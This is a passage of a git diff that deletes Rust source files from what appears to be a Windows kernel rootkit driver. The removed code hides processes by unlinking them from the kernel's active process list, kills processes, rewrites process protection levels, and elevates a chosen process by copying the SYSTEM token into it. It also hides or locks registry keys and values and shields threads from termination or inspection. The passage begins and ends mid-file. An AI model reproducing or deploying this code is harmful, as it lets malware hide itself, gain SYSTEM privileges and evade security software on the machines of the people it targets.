- }; - - let mut process_info = PROCESS_INFO_HIDE.lock(); - let list_ptr = Box::into_raw(Box::new(list)); - - process_info.push(HiddenProcessInfo { - pid, - list_entry: AtomicPtr::new(list_ptr), - }); - - (*next).Blink = previous; - (*previous).Flink = next; - - (*list_entry).Flink = list_entry; - (*list_entry).Blink = list_entry; - - log::info!("Process with PID {pid} hidden successfully."); - Ok(()) - }) - } - - /// Unhide a process by removing it from the list of active processes. - /// - /// # Arguments - /// - /// - `process`: The identifier of the target process (PID) to be hidden. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - unsafe fn unhide_process(pid: usize) -> Result<(), NTSTATUS> { - // Offsets - let unique_process_id = get_offset_unique_process_id(); - let active_process_link_list = unique_process_id + core::mem::size_of::() as isize; - let process_lock = unique_process_id - core::mem::size_of::() as isize; - - // Retrieving EPROCESS from the target process - let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - - let list_entry = process.e_process.cast::().offset(active_process_link_list) as PLIST_ENTRY; - let push_lock = process.e_process.cast::().offset(process_lock) as PULONG_PTR; - - with_push_lock_exclusive(push_lock, || { - // Restoring Flink / Blink - let mut process_info = PROCESS_INFO_HIDE.lock(); - if let Some(index) = process_info.iter().position(|p| p.pid == pid) { - let process = &process_info[index]; - let list = process.list_entry.load(Ordering::SeqCst); - if list.is_null() { - log::error!("List entry stored in AtomicPtr is null"); - return Err(STATUS_INVALID_PARAMETER); - } - - (*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY; - (*list_entry).Blink = (*list).Blink as *mut _LIST_ENTRY; - - let next = (*list_entry).Flink; // Processo (3) - let previous = (*list_entry).Blink; // Processo (1) - - (*next).Blink = list_entry; - (*previous).Flink = list_entry; - - process_info.remove(index); - log::info!("Process with PID {pid} unhidden successfully."); - - Ok(()) - } else { - log::info!("PID ({pid}) Not found"); - Err(STATUS_UNSUCCESSFUL) - } - }) - } - - /// Toggles the enumeration between hiding or protecting processes based on the options provided. - /// - /// # Arguments - /// - /// - `input_target`: Pointer to the enumeration information input structure. - /// - `info_process`: Information structure of processes. - /// - `information`: Pointer to a variable to store information size. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - /// - pub unsafe fn enumerate_process_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS { - match (*input_target).options { - Options::Hide => { - Self::enumerate_hide_processes(info_process, information) - }, - #[cfg(not(feature = "mapper"))] - Options::Protection => { - callback::enumerate_protection_processes(info_process, information) - }, - #[cfg(feature = "mapper")] - Options::Protection => { - wdk_sys::STATUS_INVALID_DEVICE_REQUEST; - }, - } - } - - /// Enumerate Processes Hide. - /// - /// # Arguments - /// - /// - `info_process`: It is a parameter of type `ProcessListInfo` that will send the processes that are currently hidden. - /// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `ProcessListInfo` structures. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - unsafe fn enumerate_hide_processes(info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS { - let process_info = PROCESS_INFO_HIDE.lock(); - let mut count = 0; - for i in process_info.iter() { - (*info_process.offset(count)).pids = i.pid; - - *information += core::mem::size_of::(); - count += 1; - } - - STATUS_SUCCESS - } - - /// Terminate a process specified by the PID (Process Identifier). - /// - /// # Arguments - /// - /// - `pid`: The identifier of the target process (PID) to terminate process. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn terminate_process(process: *mut TargetProcess) -> NTSTATUS { - let mut h_process: HANDLE = core::ptr::null_mut(); - let pid = (*process).pid; - let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed(); - let mut client_id = CLIENT_ID { - UniqueProcess: pid as _, - UniqueThread: core::ptr::null_mut(), - }; - - let mut status = ZwOpenProcess( - &mut h_process, - PROCESS_ALL_ACCESS, - &mut object_attributes, - &mut client_id, - ); - if !NT_SUCCESS(status) { - log::error!("ZwOpenProcess Failed With Status: {status}"); - return status; - } - - status = ZwTerminateProcess(h_process, 0); - - ZwClose(h_process); - - if !NT_SUCCESS(status) { - log::error!("ZwTerminateProcess Failed With Status: {status}"); - return status; - } - - log::info!("Process terminated with success: {pid}"); - - STATUS_SUCCESS - } - - /// Removing process signature (PP / PPL). - /// - /// # Arguments - /// - /// - `pid`: The identifier of the target process (PID) to remove protection. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> Result<(), NTSTATUS> { - let pid = (*signature_info).pid; - let sg = (*signature_info).sg; - let tp = (*signature_info).tp; - - // Offset - let protection_offset = get_offset_signature(); - - // Retrieving EPROCESS from the target process - let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - - let new_sign = (sg << 4) | tp; - let process_signature = process.e_process.cast::().offset(protection_offset) as *mut PROCESS_SIGNATURE; - - (*process_signature).signature_level = new_sign as u8; - (*process_signature).protection.set_type_(tp as u8); - (*process_signature).protection.set_signer(sg as u8); - - Ok(()) - } - - /// Raises the token of the specified process to the system token. - /// - /// This function raises the token of a process identified by its PID (Process ID) - /// to the token of the system process, effectively elevating the privileges of the target process - /// to those of the system (NT AUTHORITY\SYSTEM). - /// - /// # Arguments - /// - /// - `pid`: The identifier of the target process (PID) whose token will be raised. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn elevate_process(process: *mut TargetProcess) -> Result<(), NTSTATUS> { - let pid = (*process).pid; - let system_process = 4; - - // Offset - let token = get_offset_token(); - - // Retrieving EPROCESS from the target process - let target = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - - // Retrieving EPROCESS from the System process (By default the PID is 4) - let system = Self::new(system_process).ok_or(STATUS_UNSUCCESSFUL)?; - - // Accessing EPROCESS.Token - let target_token_ptr = target.e_process.cast::().offset(token) as *mut u64; - let system_token_ptr = system.e_process.cast::().offset(token) as *mut u64; - - // Writing the system value to the target process - target_token_ptr.write(system_token_ptr.read()); - - log::info!("Elevate NT AUTHORITY\\SYSTEM for the process: {pid}"); - - Ok(()) - } - -} - -/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope. -impl Drop for Process { - /// Cleans up the resources held by the `Process` structure. - fn drop(&mut self) { - if !self.e_process.is_null() { - unsafe { ObfDereferenceObject(self.e_process as _) }; - } - } -} diff --git a/driver/src/registry/ioctls.rs b/driver/src/registry/ioctls.rs deleted file mode 100644 index 5417216..0000000 --- a/driver/src/registry/ioctls.rs +++ /dev/null @@ -1,54 +0,0 @@ -#![cfg(not(feature = "mapper"))] - -use { - crate::{handle_registry,registry::{Registry, utils::KeyListType}}, - shared::structs::TargetRegistry, - crate::utils::ioctls::IoctlHandler, - alloc::boxed::Box, - hashbrown::HashMap, - shared::ioctls::{ - IOCTL_HIDE_UNHIDE_KEY, IOCTL_HIDE_UNHIDE_VALUE, IOCTL_REGISTRY_PROTECTION_KEY, - IOCTL_REGISTRY_PROTECTION_VALUE - }, - wdk_sys::{IO_STACK_LOCATION, IRP} -}; - -/// Registers the IOCTL handlers for registry-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// -/// - `ioctls`: A mutable reference to a `HashMap` where the registry-related -/// IOCTL handlers will be inserted. -/// -pub fn get_registry_ioctls(ioctls: &mut HashMap) { - // Adding protection for registry key values. - ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - // Added protection for registry keys. - ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - // Handles IOCTL to hide or unhide a registry key - ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - // Handles IOCTL to hide or unhide a registry value - ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); -} \ No newline at end of file diff --git a/driver/src/registry/mod.rs b/driver/src/registry/mod.rs deleted file mode 100644 index 665202e..0000000 --- a/driver/src/registry/mod.rs +++ /dev/null @@ -1,245 +0,0 @@ -extern crate alloc; - -use { - alloc::{string::{String, ToString}, vec::Vec}, - core::marker::PhantomData, - shared::{structs::TargetRegistry, vars::MAX_REGISTRY}, - spin::{lazy::Lazy, Mutex, MutexGuard}, - utils::KeyListType, - wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL} -}; - -#[cfg(not(feature = "mapper"))] -pub mod callback; -pub mod utils; -pub mod ioctls; -#[cfg(not(feature = "mapper"))] -pub use callback::*; - -/// List of keys and target values. -pub static TARGET_KEY_VALUES: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY))); - -/// List of target keys. -static TARGET_KEYS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY))); - -/// List of hide keys. -static HIDE_KEYS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY))); - -/// List of keys and target values. -static HIDE_KEY_VALUES: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY))); - -/// Trait defining common operations for registry lists. -trait RegistryList { - /// Adds an item to the registry list. - /// - /// # Arguments - /// - /// - `list`: A mutable reference to the list. - /// - `item`: The item to be added. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status code indicating success or failure of the operation. - /// - fn add_item(list: &mut Vec, item: T) -> NTSTATUS; - - /// Removes an item from the registry list. - /// - /// # Arguments - /// - /// - `list`: A mutable reference to the list. - /// - `item`: The item to be removed. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status code indicating success or failure of the operation. - /// - fn remove_item(list: &mut Vec, item: &T) -> NTSTATUS; - - /// Checks if an item is in the registry list. - /// - /// # Arguments - /// - /// - `list`: A reference to the list. - /// - `item`: The item to be checked. - /// - /// # Returns - /// - /// - `bool`: Returns true if the item is in the list, or false otherwise. - /// - fn contains_item(list: &Vec, item: &T) -> bool; -} - -/// Implement the trait for the list of key-value pairs. -impl RegistryList<(String, String)> for Vec<(String, String)> { - fn add_item(list: &mut Vec<(String, String)>, item: (String, String)) -> NTSTATUS { - if list.len() >= 20 { - log::error!("The list of protected values is full"); - return STATUS_UNSUCCESSFUL; - } - - if list.iter().any(|(k, v)| k == &item.0 && v == &item.1) { - log::warn!("Key-value ({}, {}) already exists in the list", item.0, item.1); - return STATUS_DUPLICATE_OBJECTID; - } - - list.push(item); - STATUS_SUCCESS - } - - fn remove_item(list: &mut Vec<(String, String)>, item: &(String, String)) -> NTSTATUS { - if let Some(index) = list.iter().position(|(k, v)| k == &item.0 && v == &item.1) { - list.remove(index); - STATUS_SUCCESS - } else { - log::error!("Key-value ({}, {}) not found in list", item.0, item.1); - STATUS_UNSUCCESSFUL - } - } - - fn contains_item(list: &Vec<(String, String)>, item: &(String, String)) -> bool { - list.contains(item) - } -} - -/// Implement the trait for the list of keys. -impl RegistryList for Vec { - fn add_item(list: &mut Vec, item: String) -> NTSTATUS { - if list.len() >= 20 { - log::error!("The list of keys is full"); - return STATUS_UNSUCCESSFUL; - } - - if list.contains(&item) { - log::warn!("Key ({}) already exists in the list", item); - return STATUS_DUPLICATE_OBJECTID; - } - - list.push(item); - STATUS_SUCCESS - } - - fn remove_item(list: &mut Vec, item: &String) -> NTSTATUS { - if let Some(index) = list.iter().position(|k| k == item) { - list.remove(index); - STATUS_SUCCESS - } else { - log::error!("Key ({}) not found in list", item); - STATUS_UNSUCCESSFUL - } - } - - fn contains_item(list: &Vec, item: &String) -> bool { - list.contains(item) - } -} - -/// Structure representing the Registry. -pub struct Registry { - _marker: PhantomData, -} - -impl Registry<(String, String)> { - /// Adds or removes a key-value pair from the list of protected values. - /// - /// # Arguments - /// - /// - `target`: The `TargetRegistry` structure representing the key-value pair to be protected or removed. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status code indicating success or failure of the operation. - /// - pub fn add_remove_registry_toggle(target: *mut TargetRegistry, list_type: KeyListType) -> NTSTATUS { - let key = unsafe { (*target).key.clone() }; - let value = unsafe { (*target).value.clone() }; - let enable = unsafe { (*target).enable }; - - let status = match list_type { - KeyListType::Protect => { - let mut list = TARGET_KEY_VALUES.lock(); - if enable { - Vec::<(String,String)>::add_item(&mut list, (key, value)) - } else { - Vec::<(String,String)>::remove_item(&mut list, &(key, value)) - } - } - KeyListType::Hide => { - let mut list = HIDE_KEY_VALUES.lock(); - if enable { - Vec::<(String,String)>::add_item(&mut list,(key, value)) - } else { - Vec::<(String,String)>::remove_item(&mut list, &(key, value)) - } - } - }; - - status - } - - /// Checks if the key-value pair is in the list of protected values. - /// - /// # Arguments - /// - `key`: The key being checked. - /// - `value`: The value being checked. - /// - /// # Returns - /// - `bool`: Returns true if the key-value pair is in the list, or false otherwise. - /// - pub fn check_target(key: String, value: String, list: MutexGuard>) -> bool { - Vec::<(String, String)>::contains_item(&list, &(key, value)) - } -} - -impl Registry { - /// Adds or removes a key from the list of protected keys. - /// - /// # Arguments - /// - /// - `key`: The key to be protected or removed. - /// - `enable`: A boolean indicating whether to add (true) or remove (false) the key. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status code indicating success or failure of the operation. - /// - pub fn add_remove_key_toggle(target: *mut TargetRegistry, list_type: KeyListType) -> NTSTATUS { - let key = unsafe { &(*target).key }.to_string(); - let enable = unsafe { (*target).enable }; - - let status = match list_type { - KeyListType::Protect => { - let mut list = TARGET_KEYS.lock(); - if enable { - Vec::add_item(&mut list, key) - } else { - Vec::remove_item(&mut list, &key) - } - } - KeyListType::Hide => { - let mut list = HIDE_KEYS.lock(); - if enable { - Vec::add_item(&mut list, key) - } else { - Vec::remove_item(&mut list, &key) - } - } - }; - - status - } - - /// Checks if the key is in the list of protected keys. - /// - /// # Arguments - /// - /// - `key`: The key being checked. - /// - /// # Returns - /// - /// - `bool`: Returns true if the key is in the list, or false otherwise. - /// - pub fn check_key(key: String, list: MutexGuard>) -> bool { - Vec::contains_item(&list, &key) - } -} diff --git a/driver/src/registry/utils.rs b/driver/src/registry/utils.rs deleted file mode 100644 index d8496d7..0000000 --- a/driver/src/registry/utils.rs +++ /dev/null @@ -1,274 +0,0 @@ -#![allow(non_upper_case_globals)] - -use { - super::{Registry, HIDE_KEYS}, - crate::registry::HIDE_KEY_VALUES, - core::{ffi::c_void, mem::size_of, slice::from_raw_parts}, - alloc::{format, string::String}, - wdk_sys::{ - *, - ntddk::{ZwEnumerateKey, ZwEnumerateValueKey}, - _KEY_INFORMATION_CLASS::{KeyBasicInformation, KeyNameInformation}, - _KEY_VALUE_INFORMATION_CLASS::{ - KeyValueBasicInformation, KeyValueFullInformation, KeyValueFullInformationAlign64 - }, - }, -}; - -/// Checks if the key is present. -/// -/// # Arguments -/// -/// - `info`: Pointer to the record operation information structure. -/// - `key`: Name of the key to be checked. -/// -/// # Returns -/// -/// - `bool`: Returns `true` if the key is found, otherwise `false`. -/// -pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { - let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION; - match (*info_class).KeyInformationClass { - KeyBasicInformation => { - let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION; - let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::() as u32) as usize); - - let key = format!("{key}\\{}", String::from_utf16_lossy(name)); - if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { - return true - } - }, - KeyNameInformation => { - let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION; - let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::() as u32) as usize); - - let key = format!("{key}\\{}", String::from_utf16_lossy(name)); - if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { - return true - } - }, - _ => {} - } - - return false -} - -/// Checks if the key value is present. -/// -/// # Arguments -/// - `info`: Pointer to the record operation information structure. -/// - `key`: Name of the key to be checked. -/// -/// # Returns -/// - `bool`: Returns `true` if the value is found, otherwise `false`. -/// -pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { - let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION; - match (*info_class).KeyValueInformationClass { - KeyValueBasicInformation => { - let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION; - let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::() as u32) as usize); - let value = String::from_utf16_lossy(name); - if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { - return true - } - }, - KeyValueFullInformationAlign64 => { - let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION; - let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::() as u32) as usize); - - let value = String::from_utf16_lossy(name); - if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { - return true - } - - }, - KeyValueFullInformation => { - let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION; - let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::() as u32) as usize,); - - let value = String::from_utf16_lossy(name); - if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { - return true - } - } - _ => {} - } - - return false -} - -/// Enumerate the target key. -/// -/// # Arguments -/// - `key_handle`: Handle of the target key. -/// - `index`: Index to be listed. -/// - `buffer`: Buffer that will store the key. -/// - `buffer_size`: Buffer size. -/// - `key_value_information`: Defines the type of information to return about the target registry key. -/// - `result_length`: Return size value. -/// -/// # Returns -/// - `Option`: Returns `Some(String)` if the process lookup is successful, otherwise `None`. -/// -pub unsafe fn enumerate_key( - key_handle: HANDLE, - index: u32, - buffer: *mut u8, - buffer_size: u32, - key_information: KEY_INFORMATION_CLASS, - result_length: &mut u32 -) -> Option { - let status = ZwEnumerateKey( - key_handle, - index, - key_information, - buffer as *mut c_void, - buffer_size, - result_length - ); - - if status == STATUS_NO_MORE_ENTRIES { - return None; - } - - if !NT_SUCCESS(status) { - log::error!("ZwEnumerateKey Failed With Status: {status}"); - return None; - } - - match key_information { - KeyBasicInformation => { - let basic_information = &*(buffer as *const KEY_BASIC_INFORMATION); - let name = from_raw_parts( - (*basic_information).Name.as_ptr(), - ((*basic_information).NameLength / size_of::() as u32) as usize, - ); - - Some(String::from_utf16_lossy(name)) - }, - KeyNameInformation => { - let basic_information = &*(buffer as *const KEY_NAME_INFORMATION); - let name = from_raw_parts( - (*basic_information).Name.as_ptr(), - ((*basic_information).NameLength / size_of::() as u32) as usize, - ); - Some(String::from_utf16_lossy(name)) - }, - _ => { - None - } - } - -} - -/// Enumerates values of the target key -/// -/// # Arguments -/// - `key_handle`: Handle of the target key. -/// - `index`: Index to be listed. -/// - `buffer`: Buffer that will store the key values. -/// - `buffer_size`: Buffer size. -/// - `key_value_information`: Defines the type of information to be returned about the registry key value. -/// - `result_length`: Return size value. -/// -/// # Returns -/// - `Option`: Returns `Some(String)` if the process lookup is successful, otherwise `None`. -/// -pub unsafe fn enumerate_value_key( - key_handle: HANDLE, - index: u32, - buffer: *mut u8, - buffer_size: u32, - key_value_information: KEY_VALUE_INFORMATION_CLASS, - result_length: &mut u32 -) -> Option { - let status = ZwEnumerateValueKey( - key_handle, - index, - key_value_information, - buffer as *mut c_void, - buffer_size, - result_length - ); - - if status == STATUS_NO_MORE_ENTRIES { - return None; - } - - if !NT_SUCCESS(status) { - log::error!("ZwEnumerateValueKey Failed With Status: {status}"); - return None; - } - - match key_value_information { - KeyValueBasicInformation => { - let key_info = &*(buffer as *const KEY_VALUE_BASIC_INFORMATION); - let key_name_utf16: &[u16] = from_raw_parts( - key_info.Name.as_ptr(), - (key_info.NameLength / size_of::() as u32) as usize, - ); - Some(String::from_utf16_lossy(key_name_utf16)) - }, - KeyValueFullInformationAlign64 => { - let key_info = &*(buffer as *const KEY_VALUE_FULL_INFORMATION); - let key_name_utf16: &[u16] = from_raw_parts( - key_info.Name.as_ptr(), - (key_info.NameLength / size_of::() as u32) as usize, - ); - Some(String::from_utf16_lossy(key_name_utf16)) - }, - KeyValueFullInformation => { - let value_info = &*(buffer as *const KEY_VALUE_FULL_INFORMATION); - let value_name_utf16: &[u16] = from_raw_parts( - value_info.Name .as_ptr(), - (value_info.NameLength / size_of::() as u32) as usize, - ); - Some(String::from_utf16_lossy(value_name_utf16)) - }, - _ => { - None - } - } -} - -/// Trait for accessing the object in registry information. -pub trait RegistryInfo { - fn get_object(&self) -> *mut c_void; -} - -impl RegistryInfo for REG_DELETE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_QUERY_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_POST_OPERATION_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -/// Enum represents the types of operations to be done with the Registry. -pub enum KeyListType{ - Hide, - Protect -} \ No newline at end of file diff --git a/driver/src/thread/callback.rs b/driver/src/thread/callback.rs deleted file mode 100644 index 5757760..0000000 --- a/driver/src/thread/callback.rs +++ /dev/null @@ -1,138 +0,0 @@ -#![cfg(not(feature = "mapper"))] - -use { - alloc::vec::Vec, - core::ffi::c_void, - shared::{structs::{ThreadListInfo, ThreadProtection}, vars::MAX_TID}, - spin::{lazy::Lazy, Mutex}, - wdk_sys::{ - ntddk::PsGetThreadId, NTSTATUS, OB_PRE_OPERATION_INFORMATION, PETHREAD, - PVOID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL, THREAD_GET_CONTEXT, - THREAD_SET_CONTEXT, THREAD_SUSPEND_RESUME, THREAD_TERMINATE, - STATUS_DUPLICATE_OBJECTID, _OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS} - } -}; - -/// Handle for the thread callback registration. -pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: PVOID = core::ptr::null_mut(); - -/// List of the target TIDs -static TARGET_TIDS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID))); - -/// Method to check if the action sent is to add or remove a tid from the list of protected threads -/// -/// # Arguments -/// - `process`: Structure with information about the process that will be added or removed from the list of protected threads. -/// -/// # Returns -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS { - let tid = unsafe { (*process).tid }; - if unsafe { (*process).enable } { - add_target_tid(tid) - } else { - remove_target_tid(tid) - } -} - -/// Method for adding the list of threads that will have anti-kill / dumping protection. -/// -/// # Arguments -/// - `tid`: The identifier of the target process (tid) to be hidden. -/// -/// # Returns -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -fn add_target_tid(tid: usize) -> NTSTATUS { - let mut tids = TARGET_TIDS.lock(); - - if tids.len() >= MAX_TID { - log::error!("tid list is full"); - return STATUS_UNSUCCESSFUL; - } - - if tids.contains(&tid) { - log::warn!("tid {} already exists in the list", tid); - return STATUS_DUPLICATE_OBJECTID; - } - - tids.push(tid); - - STATUS_SUCCESS -} - -/// Method for removing the list of threads that will have anti-kill / dumping protection. -/// -/// # Arguments -/// - `tid`: The identifier of the target process (tid) to be hidden. -/// -/// # Returns -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -fn remove_target_tid(tid: usize) -> NTSTATUS { - let mut tids = TARGET_TIDS.lock(); - - if tids.len() >= MAX_TID { - log::error!("tid list is full"); - return STATUS_UNSUCCESSFUL; - } - - if let Some(index) = tids.iter().position(|&x| x == tid) { - tids.remove(index); - STATUS_SUCCESS - } else { - log::error!("TID {} not found in the list", tid); - STATUS_UNSUCCESSFUL - } -} - -/// Enumerate threads Protect. -/// -/// # Arguments -/// - `info_process`: It is a parameter of type `Infothreads` that will send the threads that are currently protected. -/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures. -/// -/// # Returns -/// - `NTSTATUS`: A status code indicating success or failure of the operation. -/// -pub unsafe fn enumerate_protection_threads(info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS { - let process_info = TARGET_TIDS.lock(); - let mut count = 0; - for i in process_info.iter() { - (*info_process.offset(count)).tids = *i; - - *information += core::mem::size_of::(); - count += 1; - } - - STATUS_SUCCESS -} - -/// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads. -/// -/// # Arguments -/// - `_registration_context`: A pointer to the registration context (unused). -/// - `info`: A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation. -/// -/// # Returns -/// - `_OB_PREOP_CALLBACK_STATUS::Type`: A status code indicating the success of the pre-operation. -/// -pub unsafe extern "C" fn on_pre_open_thread( - _registration_context: *mut c_void, - info: *mut OB_PRE_OPERATION_INFORMATION, -) -> _OB_PREOP_CALLBACK_STATUS::Type { - if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 { - return OB_PREOP_SUCCESS; - } - - let thread = (*info).Object as PETHREAD; - let tid = PsGetThreadId(thread) as usize; - let tids = TARGET_TIDS.lock(); - - if tids.contains(&tid) { - let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT); - (*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask; - } - - OB_PREOP_SUCCESS -} diff --git a/driver/src/thread/ioctls.rs b/driver/src/thread/ioctls.rs deleted file mode 100644 index ffe76de..0000000 --- a/driver/src/thread/ioctls.rs +++ /dev/null @@ -1,57 +0,0 @@ -use { - core::mem::size_of, - alloc::boxed::Box, - hashbrown::HashMap, - shared::{ - ioctls::{ - IOCTL_ENUMERATION_THREAD, IOCTL_HIDE_UNHIDE_THREAD, - IOCTL_PROTECTION_THREAD - }, - structs::{EnumerateInfoInput, TargetThread, ThreadListInfo} - }, - wdk_sys::{IO_STACK_LOCATION, IRP}, - crate::{handle, thread::Thread, utils::ioctls::IoctlHandler}, -}; - -#[cfg(not(feature = "mapper"))] -use { - crate::thread::add_remove_thread_toggle, - shared::structs::ThreadProtection, -}; - -/// Registers the IOCTL handlers for thread-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// -/// - `ioctls`: A mutable reference to a `HashMap` where the thread-related -/// IOCTL handlers will be inserted. -/// -pub fn get_thread_ioctls(ioctls: &mut HashMap) { - // Hide the specified Thread by removing it from the list of active threads. - ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Thread::thread_toggle, TargetThread) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - status - }) as IoctlHandler); - - // List hidden or protected threads. - ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let mut information = 0; - let status = unsafe { handle!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - status - }) as IoctlHandler); - - // If the feature is a mapper, these functionalities will not be added. - #[cfg(not(feature = "mapper"))] { - // Responsible for adding thread termination protection. - ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, add_remove_thread_toggle, ThreadProtection) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - status - }) as IoctlHandler); - } -} \ No newline at end of file diff --git a/driver/src/thread/mod.rs b/driver/src/thread/mod.rs deleted file mode 100644 index ae01649..0000000 --- a/driver/src/thread/mod.rs +++ /dev/null @@ -1,249 +0,0 @@ -use { - spin::mutex::Mutex, - alloc::{boxed::Box, vec::Vec}, - core::sync::atomic::{AtomicPtr, Ordering}, - crate::utils::{offsets::get_rundown_protect, with_push_lock_exclusive}, - spin::lazy::Lazy, - shared::{ - structs::{ - HiddenThreadInfo, TargetThread, LIST_ENTRY, - ThreadListInfo, EnumerateInfoInput - }, - vars::MAX_TID, - enums::Options, - }, - wdk_sys::{ - ntddk::{ObfDereferenceObject, PsLookupThreadByThreadId}, - 